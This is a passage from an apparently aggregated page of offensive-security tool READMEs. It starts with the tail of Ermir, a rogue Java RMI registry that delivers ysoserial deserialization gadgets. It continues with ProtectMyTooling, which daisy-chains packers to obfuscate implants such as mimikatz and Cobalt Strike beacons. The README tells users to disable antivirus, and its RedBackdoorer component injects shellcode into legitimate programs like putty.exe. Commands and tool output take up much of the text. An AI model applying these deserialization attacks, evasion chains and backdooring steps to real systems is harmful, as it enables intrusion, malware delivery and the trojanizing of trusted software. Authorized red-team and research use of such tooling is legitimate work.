-f, --file path to file containing the gadget to be deserialized.
-p, --pipe read the serialized gadget from the standard input stream.
-v, --version print Ermir version.
-h, --help print options help.
Example:
$ gadgetmarshal /path/to/ysoserial.jar Groovy1 calc.exe | ermir --listen 127.0.0.1:1099 --pipe

gadgetmarshal usage:

➜  ~ gadgetmarshal
Usage: gadgetmarshal /path/to/ysoserial.jar Gadget1 cmd (optional)/path/to/output/file

How does it work?

java.rmi.registry.Registry offers 5 methods: list(), lookup(), bind(), rebind(), unbind():

  • public Remote lookup(String name): lookup() searches for a bound object in the registry by its name, the registry returns a Remote object which references the remote object that was looked up, the returned object is read using MarshalInputStream.readObject() which is just another layer on top of ObjectInputStream, basically it excpects after each class/proxy descriptor (TC_CLASSDESC/TC_PROXYCLASSDESC) an URL that will be used to load this class or proxy class. this is the same wild bug that was fixed in jdk7u21. (Ermir does not specify this URL as only old Java version are vulnerable, instead it just write null). as Ysoserial gadgets are being serialized using ObjectOutputStream, Ermir uses gadgetmarshal -a wrapper around GadgetMarshaller.java- to serialize the specified gagdet to match MarshalInputStream requirements.

  • public String[] list(): list() asks the registry for all the bound objects names, while String type cannot be subsitued with a malicious gadget as it is not like any ordinary object and it is not read using readObject() but rather readUTF(), however as list() returns String[] which is an actual object and it is read using readObject(), Ermir sends the gadget instead of this String[] type.

  • public void bind(java.lang.String $param_String_1, java.rmi.Remote $param_Remote_2): bind() binds an object to a name on the registry, in bind() case the return type is void and there is nothing being returned, however if the registry specifies in the RMI return data packet that this return is an execptional return, the client/server client will call readObject() despite the return type is void, this is how the regitry sends exceptions to its client (usually java.lang.ClassNotFoundException), once again Ermir will deliver the serialized gadget instead of a legitimate Exception object.

  • public void rebind(java.lang.String $param_String_1, java.rmi.Remote $param_Remote_2): rebind() replaces the binding of the passed name with the supplied remote reference, also returns void, Ermir returns an exception just like bind().

  • public void unbind(java.lang.String $param_String_1): unbind() unbinds a remote object by name in the RMI registry, this one also returns void.

PoC

Contributing

Bug reports and pull requests are welcome on GitHub at https://github.com/hakivvi/ermir. This project is intended to be a safe, welcoming space for collaboration, and contributors are expected to adhere to the code of conduct.

License

The gem is available as open source under the terms of the MIT License.

Code of Conduct

Everyone interacting in the Ermir project's codebases, issue trackers, chat rooms and mailing lists is expected to follow the code of conduct.



ProtectMyTooling - Multi-Packer Wrapper Letting Us Daisy-Chain Various Packers, Obfuscators And Other Red Team Oriented Weaponry


Script that wraps around multitude of packers, protectors, obfuscators, shellcode loaders, encoders, generators to produce complex protected Red Team implants. Your perfect companion in Malware Development CI/CD pipeline, helping watermark your artifacts, collect IOCs, backdoor and more.


ProtectMyToolingGUI.py

With ProtectMyTooling you can quickly obfuscate your binaries without having to worry about clicking through all the Dialogs, interfaces, menus, creating projects to obfuscate a single binary, clicking through all the options available and wasting time about all that nonsense. It takes you straight to the point - to obfuscate your tool.

Aim is to offer the most convenient interface possible and allow to leverage a daisy-chain of multiple packers combined on a single binary.

That's right - we can launch ProtectMyTooling with several packers at once:

C:\> py ProtectMyTooling.py hyperion,upx mimikatz.exe mimikatz-obf.exe

The above example will firstly pass mimikatz.exe to the Hyperion for obfuscation, and then the result will be provided to UPX for compression. Resulting with UPX(Hyperion(file))

Features

  • Supports multiple different PE Packers, .NET Obfuscators, Shellcode Loaders/Builders
  • Allows daisy-chaining packers where output from a packer is passed to the consecutive one: callobf,hyperion,upx will produce artifact UPX(Hyperion(CallObf(file)))
  • Collects IOCs at every obfuscation step so that auditing & Blue Team requests can be satisfied
  • Offers functionality to inject custom Watermarks to resulting PE artifacts - in DOS Stub, Checksum, as a standalone PE Section, to file's Overlay
  • Comes up with a handy Cobalt Strike aggressor script bringing protected-upload and protected-execute-assembly commands
  • Straightforward command line usage

Installation

This tool was designed to work on Windows, as most packers natively target that platform.

Some features may work however on Linux just fine, nonetheless that support is not fully tested, please report bugs and issues.

  1. First, disable your AV and add contrib directory to exclusions. That directory contains obfuscators, protectors which will get flagged by AV and removed.
  2. Then clone this repository
PS C:\> git clone --recurse https://github.com/Binary-Offensive/ProtectMyTooling
  1. Actual installation is straightforward:

Windows

PS C:\ProtectMyTooling> .\install.ps1

Linux

bash# ./install.sh

Gimmicks

For ScareCrow packer to run on Windows 10, there needs to be WSL installed and bash.exe available (in %PATH%). Then, in WSL one needs to have golang installed in version at least 1.16:

cmd> bash
bash$ sudo apt update ; sudo apt upgrade -y ; sudo apt install golang=2:1.18~3 -y

Configuration

To plug-in supported obfuscators, change default options or point ProtectMyTooling to your obfuscator executable path, you will need to adjust config\ProtectMyTooling.yaml configuration file.

There is also config\sample-full-config.yaml file containing all the available options for all the supported packers, serving as reference point.

Friendly reminder

  • If your produced binary crashes or doesn't run as expected - try using different packers chain.
  • Packers don't guarantee stability of produced binaries, therefore ProtectMyTooling cannot as well.
  • While chaining, carefully match output->input payload formats according to what consecutive packer expects.

Usage

Before ProtectMyTooling's first use, it is essential to adjust program's YAML configuration file ProtectMyTooling.yaml. The order of parameters processal is following:

  • Firstly default parameters are used
  • Then they're overwritten by values coming from YAML
  • Finally, whatever is provided in command line will overwrite corresponding values

There, supported packer paths and options shall be set to enable.

Scenario 1: Simple ConfuserEx obfuscation

Usage is very simple, all it takes is to pass the name of obfuscator to choose, input and output file paths:

C:\> py ProtectMyTooling.py confuserex Rubeus.exe Rubeus-obf.exe

::::::::::.:::::::.. ... :::::::::::.,:::::: .,-::::::::::::::::
`;;;```.;;;;;;``;;;; .;;;;;;;;;;;;;;;\''';;;;\'\''',;;;'````;;;;;;;;\'\'''
`]]nnn]]' [[[,/[[[' ,[[ \[[, [[ [[cccc [[[ [[
$$$"" $$$$$$c $$$, $$$ $$ $$"""" $$$ $$
888o 888b "88bo"888,_ _,88P 88, 888oo,_`88bo,__,o, 88,
. YMMMb :.-:.MM ::-. "YMMMMMP" MMM """"YUMMM"YUMMMMMP" MMM
;;,. ;;;';;. ;;;;'
[[[[, ,[[[[, '[[,[[['
$$$$$$$$"$$$ c$$"
888 Y88" 888o,8P"`
::::::::::::mM... ... ::: :::::. :::. .,-:::::/
;;;;;;;;\'''.;;;;;;;. .;;;;;;;. ;;; ;;`;;;;, `;;,;;-'````'
[[ ,[[ \[[,[[ \[[,[[[ [[[ [[[[[. '[[[[ [[[[[[/
$$ $$$, $$$$$, $$$$$' $$$ $$$ "Y$c$"$$c. "$$
88, "888,_ _,88" 888,_ _,88o88oo,._888 888 Y88`Y8bo,,,o88o
MMM "YMMMMMP" "YMMMMMP"""""YUMMMMM MMM YM `'YMUP"YMM

Red Team implants protection swiss knife.

Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
Mariusz Banach / mgeeky '20-'22, <mb@binary-offensive.com>
v0.15

[.] Processing x86 file: "\Rubeus.exe"
[.] Generating output of ConfuserEx(<file>)...

[+] SUCCEEDED. Original file size: 417280 bytes, new file size ConfuserEx(<file>): 756224, ratio: 181.23%

Scenario 2: Simple ConfuserEx obfuscation followed by artifact test

One can also obfuscate the file and immediately attempt to launch it (also with supplied optional parameters) to ensure it runs fine with options -r --cmdline CMDLINE:

Scenario 3: Complex malware obfuscation with watermarking and IOCs collection

Below use case takes beacon.exe on input and feeds it consecutively into CallObf -> UPX -> Hyperion packers.

Then it will inject specified fooobar watermark to the final generated output artifact's DOS Stub as well as modify that artifact's checksum with value 0xAABBCCDD.

Finally, ProtectMyTooling will capture all IOCs (md5, sha1, sha256, imphash, and other metadata) and save them in auxiliary CSV file. That file can be used for IOC matching as engagement unfolds.

PS> py .\ProtectMyTooling.py callobf,upx,hyperion beacon.exe beacon-obf.exe -i -I operation_chimera -w dos-stub=fooobar -w checksum=0xaabbccdd

[...]

[.] Processing x64 file: "beacon.exe"
[>] Generating output of CallObf(<file>)...

[.] Before obfuscation file's PE IMPHASH: 17b461a082950fc6332228572138b80c
[.] After obfuscation file's PE IMPHASH: 378d9692fe91eb54206e98c224a25f43
[>] Generating output of UPX(CallObf(<file>))...

[>] Generating output of Hyperion(UPX(CallObf(<file>)))...

[+] Setting PE checksum to 2864434397 (0xaabbccdd)
[+] Successfully watermarked resulting artifact file.
[+] IOCs written to: beacon-obf-ioc.csv

[+] SUCCEEDED. Original file size: 288256 bytes, new file size Hyperion(UPX(CallObf(<file>))): 175616, ratio: 60.92%

Produced IOCs evidence CSV file will look as follows:

timestamp,filename,author,context,comment,md5,sha1,sha256,imphash
2022-06-10 03:15:52,beacon.exe,mgeeky@commandoVM,Input File,test,dcd6e13754ee753928744e27e98abd16,298de19d4a987d87ac83f5d2d78338121ddb3cb7,0a64768c46831d98c5667d26dc731408a5871accefd38806b2709c66cd9d21e4,17b461a082950fc6332228572138b80c
2022-06-10 03:15:52,y49981l3.bin,mgeeky@commandoVM,Obfuscation artifact: CallObf(<file>),test,50bbce4c3cc928e274ba15bff0795a8c,15bde0d7fbba1841f7433510fa9aa829f8441aeb,e216cd8205f13a5e3c5320ba7fb88a3dbb6f53ee8490aa8b4e1baf2c6684d27b,378d9692fe91eb54206e98c224a25f43
2022-06-10 03:15:53,nyu2rbyx.bin,mgeeky@commandoVM,Obfuscation artifact: UPX(CallObf(<file>)),test,4d3584f10084cded5c6da7a63d42f758,e4966576bdb67e389ab1562e24079ba9bd565d32,97ba4b17c9bd9c12c06c7ac2dc17428d509b64fc8ca9e88ee2de02c36532be10,9aebf3da4677af9275c461261e5abde3
2022-06-10 03:15:53,beacon-obf.exe,mgeeky@commandoVM,Obfuscation artifact: Hyperion(UPX(CallObf(<file>))),te st,8b706ff39dd4c8f2b031c8fa6e3c25f5,c64aad468b1ecadada3557cb3f6371e899d59790,087c6353279eb5cf04715ef096a18f83ef8184aa52bc1d5884e33980028bc365,a46ea633057f9600559d5c6b328bf83d
2022-06-10 03:15:53,beacon-obf.exe,mgeeky@commandoVM,Output obfuscated artifact,test,043318125c60d36e0b745fd38582c0b8,a7717d1c47cbcdf872101bd488e53b8482202f7f,b3cf4311d249d4a981eb17a33c9b89eff656fff239e0d7bb044074018ec00e20,a46ea633057f9600559d5c6b328bf83d

Supported Packers

ProtectMyTooling was designed to support not only Obfuscators/Packers but also all sort of builders/generators/shellcode loaders usable from the command line.

At the moment, program supports various Commercial and Open-Source packers/obfuscators. Those Open-Source ones are bundled within the project. Commercial ones will require user to purchase the product and configure its location in ProtectMyTooling.yaml file to point the script where to find them.

  1. Amber - Reflective PE Packer that takes EXE/DLL on input and produces EXE/PIC shellcode
  2. AsStrongAsFuck - A console obfuscator for .NET assemblies by Charterino
  3. CallObfuscator - Obfuscates specific windows apis with different apis.
  4. ConfuserEx - Popular .NET obfuscator, forked from Martin Karing
  5. Donut - Popular PE loader that takes EXE/DLL/.NET on input and produces a PIC shellcode
  6. Enigma - A powerful system designed for comprehensive protection of executable files
  7. Hyperion - runtime encrypter for 32-bit and 64-bit portable executables. It is a reference implementation and bases on the paper "Hyperion: Implementation of a PE-Crypter"
  8. IntelliLock - combines strong license security, highly adaptable licensing functionality/schema with reliable assembly protection
  9. InvObf - Obfuscates Powershell scripts with Invoke-Obfuscation (by Daniell Bohannon)
  10. LoGiC.NET - A more advanced free and open .NET obfuscator using dnlib by AnErrupTion
  11. Mangle - Takes input EXE/DLL file and produces output one with cloned certificate, removed Golang-specific IoCs and bloated size. By Matt Eidelberg (@Tyl0us).
  12. MPRESS - MPRESS compressor by Vitaly Evseenko. Takes input EXE/DLL/.NET/MAC-DARWIN (x86/x64) and compresses it.
  13. NetReactor - Unmatched .NET code protection system which completely stops anyone from decompiling your code
  14. NetShrink - an exe packer aka executable compressor, application password protector and virtual DLL binder for Windows & Linux .NET applications.
  15. Nimcrypt2 - Generates Nim loader running input .NET, PE or Raw Shellcode. Authored by (@icyguider)
  16. NimPackt-v1 - Takes Shellcode or .NET Executable on input, produces EXE or DLL loader. Brought to you by Cas van Cooten (@chvancooten)
  17. NimSyscallPacker - Takes PE/Shellcode/.NET executable and generates robust Nim+Syscalls EXE/DLL loader. Sponsorware authored by (@S3cur3Th1sSh1t)
  18. Packer64 - wrapper around John Adams' Packer64
  19. pe2shc - Converts PE into a shellcode. By yours truly @hasherezade
  20. peCloak - A Multi-Pass Encoder & Heuristic Sandbox Bypass AV Evasion Tool
  21. peresed - Uses "peresed" from avast/pe_tools to remove all existing PE Resources and signature (think of Mimikatz icon).
  22. ScareCrow - EDR-evasive x64 shellcode loader that produces DLL/CPL/XLL/JScript/HTA artifact loader
  23. sgn - Shikata ga nai (δ»•ζ–ΉγŒγͺい) encoder ported into go with several improvements. Takes shellcode, produces encoded shellcode
  24. SmartAssembly - obfuscator that helps protect your application against reverse-engineering or modification, by making it difficult for a third-party to access your source code
  25. sRDI - Convert DLLs to position independent shellcode. Authored by: Nick Landers, @monoxgas
  26. Themida - Advanced Windows software protection system
  27. UPX - a free, portable, extendable, high-performance executable packer for several executable formats.
  28. VMProtect - protects code by executing it on a virtual machine with non-standard architecture that makes it extremely difficult to analyze and crack the software

You can quickly list supported packers using -L option (table columns are chosen depending on Terminal width, the wider the more information revealed):

C:\> py ProtectMyTooling.py -L
[...]

Red Team implants protection swiss knife.

Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
Mariusz Banach / mgeeky '20-'22, <mb@binary-offensive.com>
v0.15

+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| # | Name | Type | Licensing | Input | Output | Author |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| 1 | amber | open-source | Shellcode Loader | PE | EXE, Shellcode | Ege B alci |
| 2 | asstrongasfuck | open-source | .NET Obfuscator | .NET | .NET | Charterino, klezVirus |
| 3 | backdoor | open-source | Shellcode Loader | Shellcode | PE | Mariusz Banach, @mariuszbit |
| 4 | callobf | open-source | PE EXE/DLL Protector | PE | PE | Mustafa Mahmoud, @d35ha |
| 5 | confuserex | open-source | .NET Obfuscator | .NET | .NET | mkaring |
| 6 | donut-packer | open-source | Shellcode Converter | PE, .NET, VBScript, JScript | Shellcode | TheWover |
| 7 | enigma | commercial | PE EXE/DLL Protector | PE | PE | The Enigma Protector Developers Team |
| 8 | hyperion | open-source | PE EXE/DLL Protector | PE | PE | nullsecurity team |
| 9 | intellilock | commercial | .NET Obfuscator | PE | PE | Eziriz |
| 10 | invobf | open-source | Powershell Obfuscator | Powershell | Powershell | Daniel Bohannon |
| 11 | logicnet | open-source | .NET Obfuscator | .NET | .NET | AnErrupTion, klezVirus |
| 12 | mangle | open-source | Executable Signing | PE | PE | Matt Eidelberg (@Tyl0us) |
| 13 | mpress | freeware | PE EXE/DLL Compressor | PE | PE | Vitaly Evseenko |
| 14 | netreactor | commercial | .NET Obfuscator | .NET | .NET | Eziriz |
| 15 | netshrink | open-source | .NET Obfuscator | .NET | .NET | Bartosz WΓ³jcik |
| 16 | nimcrypt2 | open-source | Shellcode Loader | PE, .NET, Shellcode | PE | @icyguider |
| 17 | nimpackt | open-source | Shellcode Loader | .NET, Shellcode | PE | Cas van Cooten (@chvancooten) |
| 18 | nimsyscall | sponsorware | Shellcode Loader | PE, .NET, Shellcode | PE | @S3cur3Th1sSh1t |
| 19 | packer64 | open-source | PE EXE/DLL Compressor | PE | PE | John Adams, @jadams |
| 20 | pe2shc | open-source | Shellcode Converter | PE | Shellcode | @hasherezade |
| 21 | pecloak | open-source | PE EXE/DLL Protector | PE | PE | Mike Czumak, @SecuritySift, buherator / v-p-b |
| 22 | peresed | open-source | PE EXE/DLL Protector | PE | PE | Martin VejnΓ‘r, Avast |
| 23 | scarecrow | open-source | Shellcode Loader | Shellcode | DLL, JScript, CPL, XLL | Matt Eidelberg (@Tyl0us) |
| 24 | sgn | open -source | Shellcode Encoder | Shellcode | Shellcode | Ege Balci |
| 25 | smartassembly | commercial | .NET Obfuscator | .NET | .NET | Red-Gate |
| 26 | srdi | open-source | Shellcode Encoder | DLL | Shellcode | Nick Landers, @monoxgas |
| 27 | themida | commercial | PE EXE/DLL Protector | PE | PE | Oreans |
| 28 | upx | open-source | PE EXE/DLL Compressor | PE | PE | Markus F.X.J. Oberhumer, LΓ‘szlΓ³ MolnΓ‘r, John F. Reiser |
| 29 | vmprotect | commercial | PE EXE/DLL Protector | PE | PE | vmpsoft |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+

Above are the packers that are supported, but that doesn't mean that you have them configured and ready to use. To prepare their usage, you must first supply necessary binaries to the contrib directory and then configure your YAML file accordingly.

RedWatermarker - built-in Artifact watermarking

Artifact watermarking & IOC collection

This program is intended for professional Red Teams and is perfect to be used in a typical implant-development CI/CD pipeline. As a red teamer I'm always expected to deliver decent quality list of IOCs matching back to all of my implants as well as I find it essential to watermark all my implants for bookkeeping, attribution and traceability purposes.

To accommodate these requirements, ProtectMyTooling brings basic support for them.

Artifact Watermarking

ProtectMyTooling can apply watermarks after obfuscation rounds simply by using --watermark option.:

py ProtectMyTooling [...] -w dos-stub=fooooobar -w checksum=0xaabbccdd -w section=.coco,ALLYOURBASEAREBELONG

There is also a standalone approach, included in RedWatermarker.py script.

It takes executable artifact on input and accepts few parameters denoting where to inject a watermark and what value shall be inserted.

Example run will set PE Checksum to 0xAABBCCDD, inserts foooobar to PE file's DOS Stub (bytes containing This program cannot be run...), appends bazbazbaz to file's overlay and then create a new PE section named .coco append it to the end of file and fill that section with preset marker.

py RedWatermarker.py beacon-obf.exe -c 0xaabbccdd -t fooooobar -e bazbazbaz -s .coco,ALLYOURBASEAREBELONG

Full watermarker usage:

cmd> py RedWatermarker.py --help

;
ED.
,E#Wi
j. f#iE###G.
EW, .E#t E#fD#W;
E##j i#W, E#t t##L
E###D. L#D. E#t .E#K,
E#jG#W; :K#Wfff; E#t j##f
E#t t##f i##WLLLLtE#t :E#K:
E#t :K#E: .E#L E#t t##L
E#KDDDD###i f#E: E#t .D#W; ,; G: ,;
E#f,t#Wi,,, ,WW; E#tiW#G. f#i j. j. E#, : f#i j.
E#t ;#W: ; .D#;E#K##i .. GEEEEEEEL .E#t EW, .. : .. EW, E#t .GE .E#t EW,
DWi ,K.DL ttE##D. ;W, ,;;L#K;;. i#W, E##j ,W, .Et ;W, E##j E#t j#K; i#W, E##j
f. :K#L LWL E#t j##, t#E L#D. E###D. t##, ,W#t j##, E###D. E#GK#f L#D. E###D.
EW: ;W##L .E#f L: G###, t#E :K#Wfff; E#jG#W; L###, j###t G###, E#jG#W; E##D. :K#Wfff; E#jG#W;
E#t t#KE#L ,W#; :E####, t#E i##WLLLLt E#t t##f .E#j##, G#fE#t :E####, E#t t##f E##Wi i##WLLLLt E#t t##f
E#t f#D.L#L t#K: ;W#DG##, t#E .E#L E#t :K#E: ;WW; ##,:K#i E#t ;W#DG##, E#t :K#E:E#jL#D: .E#L E#t :K#E:
E#jG#f L#LL#G j###DW##, t#E f#E: E#KDDDD###i j#E. ##f#W, E#t j###DW##, E#KDDDD###E#t ,K#j f#E: E#KDDDD###i
E###; L###j G##i,,G##, t#E ,WW; E#f,t#Wi,,,.D#L ###K: E#t G##i,,G##, E#f,t#Wi,,E#t jD ,WW; E#f,t#Wi,,,
E#K: L#W; :K#K: L##, t#E .D#; E#t ;#W: :K#t ##D. E#t :K#K: L##, E#t ;#W: j#t .D#; E#t ;#W:
EG LE. ;##D. L##, fE tt DWi ,KK:... #G .. ;##D. L##, DWi ,KK: ,; tt DWi ,KK:
; ;@ ,,, .,, : j ,,, .,,


Watermark thy implants, track them in VirusTotal
Mariusz Banach / mgeeky '22, (@mariuszbit)
<mb@binary-offensive.com>

usage: RedWatermarker.py [options] <infile>

options:
-h, --help show this help message and exit

Required arguments:
infile Input implant file

Optional arguments:
-C, --check Do not actually inject watermark. Check input file if it contains specified watermarks.
-v, --verbose Verbose mode.
-d, --debug Debug mode.
-o PATH, --outfile PATH
Path where to save output file with watermark injected. If not given, will modify infile.

PE Executables Watermarking:
-t STR, --dos-stub STR
Insert watermark into PE DOS Stub (Th is program cannot be run...).
-c NUM, --checksum NUM
Preset PE checksum with this value (4 bytes). Must be number. Can start with 0x for hex value.
-e STR, --overlay STR
Append watermark to the file's Overlay (at the end of the file).
-s NAME,STR, --section NAME,STR
Append a new PE section named NAME and insert watermark there. Section name must be shorter than 8 characters. Section will be marked Read-Only, non-executable.

Currently only PE files watermarking is supported, but in the future Office documents and other formats are to be added as well.

IOCs Collection

IOCs may be collected by simply using -i option in ProtectMyTooling run.

They're being collected at the following phases:

  • on the input file
  • after each obfuscation round on an intermediary file
  • on the final output file

They will contain following fields saved in form of a CSV file:

  • timestamp
  • filename
  • author - formed as username@hostname
  • context - whether a record points to an input, output or intermediary file
  • comment - value adjusted by the user through -I value option
  • md5
  • sha1
  • sha256
  • imphash - PE Imports Hash, if available
  • (TODO) typeref_hash - .NET TypeRef Hash, if available

Resulting will be a CSV file named outfile-ioc.csv stored side by side to generated output artifact. That file is written in APPEND mode, meaning it will receive all subsequent IOCs.

RedBackdoorer - built-in PE Backdooring

ProtectMyTooling utilizes my own RedBackdoorer.py script which provides few methods for backdooring PE executables. Support comes as a dedicated packer named backdoor. Example usage:

Takes Cobalt Strike shellcode on input and encodes with SGN (Shikata Ga-Nai) then backdoors SysInternals DbgView64.exe then produces Amber EXE reflective loader

PS> py ProtectMyTooling.py sgn,backdoor,amber beacon64.bin dbgview64-infected.exe -B dbgview64.exe

::::::::::.:::::::.. ... :::::::::::.,:::::: .,-::::::::::::::::
`;;;```.;;;;;;``;;;; .;;;;;;;;;;;;;;;;;;;,;;;'````;;;;;;;;
`]]nnn]]' [[[,/[[[' ,[[ \[[, [[ [[cccc [[[ [[
$$$"" $$$$$$c $$$, $$$ $$ $$"""" $$$ $$
888o 888b "88bo"888,_ _,88P 88, 888oo,_`88bo,__,o, 88,
. YMMMb :.-:.MM ::-. "YMMMMMP" MMM """"YUMMM"YUMMMMMP" MMM
;;,. ;;;';;. ;;;;'
[[[[, ,[[[[, '[[,[[['
$$$$$$$$"$$$ c$$"
888 Y88" 888o,8P"`
::::::::::::mM... ... ::: :::::. :::. .,-:::::/
;;;;;;;;.;;;;;;;. .;;;;;;;. ;;; ;;`;;;;, `;;,;;-'````'
[[ ,[[ \[[,[[ \[[,[[[ [[[ [[[[[. '[[[[ [[[[[[/
$$ $$$, $$$$$, $$$$$' $$$ $$$ "Y$c$"$$c. "$$
88, "888,_ _,88"888,_ _,88o88oo,._888 888 Y88`Y8bo,,,o88o
MMM "YMMMMMP" "YMMMMMP"""""YUMMMMM MMM YM `'YMUP"YMM

Red Team implants protection swiss knife.

Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
Mariusz Banach / mgeeky '20-'22, <mb@binary-offensive.com>
v0.15

[.] Processing x64 file : beacon64.bin
[>] Generating output of sgn(<file>)...
[>] Generating output of backdoor(sgn(<file>))...
[>] Generating output of Amber(backdoor(sgn(<file>)))...

[+] SUCCEEDED. Original file size: 265959 bytes, new file size Amber(backdoor(sgn(<file>))): 1372672, ratio: 516.12%

Full RedBackdoorer usage:

cmd> py RedBackdoorer.py --help

β–ˆβ–ˆβ–€β–ˆβ–ˆβ–ˆ β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„
β–“β–ˆβ–ˆ β–’ β–ˆβ–ˆβ–“β–ˆ β–€β–’β–ˆβ–ˆβ–€ β–ˆβ–ˆβ–Œ
β–“β–ˆβ–ˆ β–‘β–„β–ˆ β–’β–ˆβ–ˆβ–ˆ β–‘β–ˆβ–ˆ β–ˆβ–Œ
β–’β–ˆβ–ˆβ–€β–€β–ˆβ–„ β–’β–“β–ˆ β–„β–‘β–“β–ˆβ–„ β–Œ
β–‘β–ˆβ–ˆβ–“ β–’β–ˆβ–ˆβ–‘β–’β–ˆβ–ˆβ–ˆβ–ˆβ–‘β–’β–ˆβ–ˆβ–ˆβ–ˆβ–“
β–‘ β–’β–“ β–‘β–’β–“β–‘β–‘ β–’β–‘ β–‘β–’β–’β–“ β–’
β–‘β–’ β–‘ β–’β–‘β–‘ β–‘ β–‘β–‘ β–’ β–’
β–‘β–‘ β–‘ β–‘ β–‘ &# 9617; β–‘
β–„β–„β–„β–„ β–„β–„β–„β–‘ β–‘ β–„β–ˆβ–ˆβ–ˆβ–ˆβ–„ β–ˆβ–ˆ β–„β–ˆβ–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„ β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–€β–ˆβ–ˆβ–ˆ β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–€β–ˆβ–ˆβ–ˆ
β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„β–’β–ˆβ–ˆβ–ˆβ–ˆβ–„ β–‘β–’β–ˆβ–ˆβ–€ β–€β–ˆ β–ˆβ–ˆβ–„β–ˆβ–’β–’β–ˆβ–ˆβ–€ β–ˆβ–ˆβ–’β–ˆβ–ˆβ–’ β–ˆβ–ˆβ–’β–ˆβ–ˆβ–’ β–ˆβ–ˆβ–“β–ˆβ–ˆ β–’ β–ˆβ–ˆβ–“β–ˆ β–€β–“β–ˆβ–ˆ β–’ β–ˆβ–ˆβ–’
β–’β–ˆβ–ˆβ–’ β–„β–ˆβ–’β–ˆβ–ˆ β–€β–ˆβ–„ β–’β–“β–ˆ &#9 604;β–“β–ˆβ–ˆβ–ˆβ–„β–‘β–‘β–ˆβ–ˆ β–ˆβ–’β–ˆβ–ˆβ–‘ β–ˆβ–ˆβ–’β–ˆβ–ˆβ–‘ β–ˆβ–ˆβ–“β–ˆβ–ˆ β–‘β–„β–ˆ β–’β–ˆβ–ˆβ–ˆ β–“β–ˆβ–ˆ β–‘β–„β–ˆ β–’
β–’β–ˆβ–ˆβ–‘β–ˆβ–€ β–‘β–ˆβ–ˆβ–„β–„β–„β–„β–ˆβ–ˆβ–’β–“β–“β–„ β–„β–ˆβ–ˆβ–“β–ˆβ–ˆ β–ˆβ–„β–‘β–“β–ˆβ–„ β–’β–ˆβ–ˆ β–ˆβ–ˆβ–’β–ˆβ–ˆ β–ˆβ–ˆβ–’β–ˆβ–ˆβ–€β–€β–ˆβ–„ β–’β–“β–ˆ β–„β–’β–ˆβ–ˆβ–€β–€β–ˆβ–„
β–‘β–“β–ˆ β–€β–ˆβ–“β–“β–ˆ β–“β–ˆβ–ˆβ–’ β–“β–ˆβ–ˆβ–ˆβ–€ β–’β–ˆβ–ˆβ–’ β–ˆβ–‘β–’β–ˆβ–ˆβ–ˆβ–ˆβ–“β–‘ β–ˆβ–ˆβ–ˆβ–ˆβ–“β–’ β–‘ β–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘β–ˆβ–ˆβ–“ β–’β–ˆβ–ˆβ–‘β–’β–ˆβ–ˆβ–ˆβ–ˆβ–‘β–ˆβ–ˆβ–“ β–’β–ˆβ–ˆβ–’
β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–€β–’β–’β–’ β–“β–’β–ˆβ–‘ β–‘β–’ β–’ β–’ β–’β–’ β–“β–’β–’β–’β–“ β–’β–‘ β–’β–‘β–’β–‘β–’β–‘β–‘ β–’β–‘β–’β–‘β–’β–‘β–‘ β–’β–“ β–‘β–’β–“β–‘β–‘ β–’β–‘ β–‘ β–’β–“ β–‘β–’β–“β–‘
β–’β–‘β–’ β–‘ β–’ β–’β–’ β–‘ β–‘ β–’ β–‘ β–‘β–’ β–’β–‘β–‘ β–’ β–’ β–‘ β–’ β–’β–‘ β–‘ β–’ β–’β–‘ β–‘β–’ β–‘ β–’β–‘β–‘ β–‘ β–‘ β–‘β–’ β–‘ β–’β–‘
β–‘ β–‘ β–‘ β–’ &#9 617; β–‘ β–‘β–‘ β–‘ β–‘ β–‘ β–‘β–‘ β–‘ β–‘ β–’ β–‘ β–‘ β–‘ β–’ β–‘β–‘ β–‘ β–‘ β–‘β–‘ β–‘
β–‘ β–‘ β–‘ β–‘ β–‘ β–‘ β–‘ β–‘ β–‘ β–‘ β–‘ β–‘ β–‘ β–‘ β–‘
β–‘ β–‘ β–‘


Your finest PE backdooring companion.
Mariusz Banach / mgeeky '22, (@mariuszbit)
<mb@binary-offensive.com>

usage: RedBackdoorer.py [options] <mode> <shellcode> <infile>

options:
-h, --help show this help message and exit

Required arguments:
mode PE Injection mode, see help epilog for more details.
shellcode Input shellcode file
infile PE file to backdoor

Optional arguments:
-o PATH, --outfil e PATH
Path where to save output file with watermark injected. If not given, will modify infile.
-v, --verbose Verbose mode.

Backdooring options:
-n NAME, --section-name NAME
If shellcode is to be injected into a new PE section, define that section name. Section name must not be longer than 7 characters. Default: .qcsw
-i IOC, --ioc IOC Append IOC watermark to injected shellcode to facilitate implant tracking.

Authenticode signature options:
-r, --remove-signature
Remove PE Authenticode digital signature since its going to be invalidated anyway.

------------------

PE Backdooring <mode> consists of two comma-separated options.
First one denotes where to store shellcode, second how to run it:

<mode>

save,run
| |
| +---------- 1 - change AddressOfEntryPoint
| 2 - hijack branching instruction at Original Entry Point (jmp, call, ...)
| 3 - setup TLS callback
|
+-------------- 1 - store shellcode in the middle of a code section
2 - append shellcode to the PE file in a new PE section
Example:

py RedBackdoorer.py 1,2 beacon.bin putty.exe putty-infected.exe

Cobalt Strike Integration

There is also a script that integrates ProtectMyTooling.py used as a wrapper around configured PE/.NET Packers/Protectors in order to easily transform input executables into their protected and compressed output forms and then upload or use them from within CobaltStrike.

